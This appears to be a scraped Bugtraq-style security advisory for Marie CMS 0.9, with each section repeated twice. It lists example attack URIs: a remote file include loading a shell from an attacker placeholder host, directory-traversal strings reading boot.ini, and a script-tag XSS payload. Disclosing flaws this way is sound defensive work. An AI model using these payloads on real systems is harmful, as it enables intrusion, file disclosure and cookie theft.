Marie CMS Multiple Vulnerabilities
BID:42012
Info
Marie CMS Multiple Vulnerabilities
| Bugtraq ID: | 42012 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 30 2009 12:00AM |
| Updated: | Nov 30 2009 12:00AM |
| Credit: | Amol Naik |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Marie CMS Multiple Vulnerabilities
Marie CMS is prone to an HTML injection vulnerability, a local file-include vulnerability, a remote file-include vulnerability, and a file-upload vulnerability.
Exploiting these issues could allow an attacker to inject arbitrary HTML-code into the application and steal cookie-based authentication credentials, retrieve and possibly execute arbitrary files through the use of directory-traversal strings, include arbitrary PHP files from a remote location, and execute arbitrary PHP code.
Marie CMS 0.9 is vulnerable; other versions may also be affected.
Marie CMS is prone to an HTML injection vulnerability, a local file-include vulnerability, a remote file-include vulnerability, and a file-upload vulnerability.
Exploiting these issues could allow an attacker to inject arbitrary HTML-code into the application and steal cookie-based authentication credentials, retrieve and possibly execute arbitrary files through the use of directory-traversal strings, include arbitrary PHP files from a remote location, and execute arbitrary PHP code.
Marie CMS 0.9 is vulnerable; other versions may also be affected.
Exploit / POC
Marie CMS Multiple Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
1) Remote File Include:
http://www.example.com/mariecms/?page=http://[attacker]/[site]/shell.txt?
2) Local File Include:
http://www.example.com/mariecms/?mod=../../../../../../../../../../boot.ini%00
http://www.example.com/mariecms/admin/index.php?mod=../../../../../../../../../../../../boot.ini%00
3) HTML Injection:
http://www.example.com/mariecms/?page=addgb&mod=gaestebuch
Name: <script>alert("XSS")</script>
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
1) Remote File Include:
http://www.example.com/mariecms/?page=http://[attacker]/[site]/shell.txt?
2) Local File Include:
http://www.example.com/mariecms/?mod=../../../../../../../../../../boot.ini%00
http://www.example.com/mariecms/admin/index.php?mod=../../../../../../../../../../../../boot.ini%00
3) HTML Injection:
http://www.example.com/mariecms/?page=addgb&mod=gaestebuch
Name: <script>alert("XSS")</script>
Solution / Fix
Marie CMS Multiple Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].